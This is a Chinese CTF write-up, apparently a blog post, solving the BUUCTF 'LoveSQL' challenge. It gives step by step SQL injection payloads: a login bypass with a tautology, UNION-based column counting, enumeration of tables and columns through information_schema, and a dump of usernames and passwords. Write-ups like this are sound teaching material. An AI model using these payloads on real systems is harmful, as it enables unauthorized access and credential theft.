BUUCTF WEB 极客大挑战 2019 LoveSQL

题目:

 解题:

1:输入万能密码

        用户名:admin' or 1=1#     

        密    码:1         

2:确定回显列

        用户名:1' union select 1,2,3;#       (select 1,2...逐步增加,直到不报错即得到正确的列数

        密    码:1

          说明查询列数为3,回显列为2,3。

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。

UNION 内部的 SELECT 语句必须拥有相同数量的列,列也必须拥有相似的数据类型,每条 SELECT 语句中的列的顺序必须相同。

3:查询当前数据库下所有表

        用户名:1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();#

        密    码:1

        得到表:geekuser,l0ve1ysq1

INFORMATION_SCHEMA 数据库

        在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。

        INFORMATION_SCHEMA数据库有以下表:

        SCHEMATA表:提供了当前mysql实例中所有数据库的信息。show databases的结果取自此表。

         TABLES表:提供了关于数据库中的表的信息。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。

        COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是。 

4:查询表的字段

        用户名:1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='geekuser';#

        密    码:1

        得到字段:id,username,password

        用户名:1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1';#

        密    码:1

        同样得到字段为:id,username,password

5:查询字段值

        用户名:1' union select 1,2,group_concat(username,password) from geekuser;#

        密    码:1

 

        用户名:1' union select 1,2,group_concat(username,password) from l0ve1ysq1;#

        密    码:1

         最后即为flag。

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值